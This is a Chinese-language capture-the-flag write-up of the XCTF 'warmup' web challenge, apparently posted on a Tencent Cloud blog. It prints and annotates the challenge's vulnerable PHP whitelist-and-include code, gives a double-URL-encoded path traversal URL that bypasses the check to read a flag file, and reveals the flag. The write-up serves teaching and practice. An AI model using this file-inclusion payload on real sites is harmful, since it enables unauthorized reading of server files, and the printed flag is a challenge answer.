前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【愚公系列】2021年12月 攻防世界-进阶题-WEB-006(warmup)

【愚公系列】2021年12月 攻防世界-进阶题-WEB-006(warmup)

作者头像
愚公搬代码
发布2021-12-27 08:13:02
5480
发布2021-12-27 08:13:02
举报
文章被收录于专栏:历史专栏

文章目录


一、warmup

题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1

二、使用步骤

1.点击获取在线场景

在这里插入图片描述
在这里插入图片描述

2.进入页面

在这里插入图片描述
在这里插入图片描述

打开source.php页面

在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
";
    }  
?>

得到另一个地址/hint.php,打开以后提示我们flag在ffffllllaaaagggg里面

在这里插入图片描述
在这里插入图片描述

继续审计source.php代码

代码语言:javascript
复制
if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空
    && is_string($_REQUEST['file'])  //$_REQUEST['file']值为字符串
    && emmm::checkFile($_REQUEST['file'])  //能够通过checkFile函数校验
) {
    include $_REQUEST['file'];  //包含$_REQUEST['file']文件
    exit;
} else {
    echo "
";
    //打印滑稽表情
} 

需要满足三个条件

代码语言:javascript
复制
1.值为非空
2.值为字符串
3.能够通过checkFile()函数校验

checkFile()函数如下

代码语言:javascript
复制
highlight_file(__FILE__); //打印代码
class emmm  //定义emmm类
{
    public static function checkFile(&$page)//将传入的参数赋给$page
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
        if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
            echo "you can't see it";//打印"you can't see it"
            return false;//返回false
        }
 
        if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
            return true;//返回true
        }
 
        $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        $_page = urldecode($page);//url解码$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

分析代码得到

代码语言:javascript
复制
http://111.200.241.244:60372/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
在这里插入图片描述
在这里插入图片描述

发现flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}


总结

php源码审计

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021/12/26 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章目录
  • 一、warmup
  • 二、使用步骤
    • 1.点击获取在线场景
      • 2.进入页面
      • 总结
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档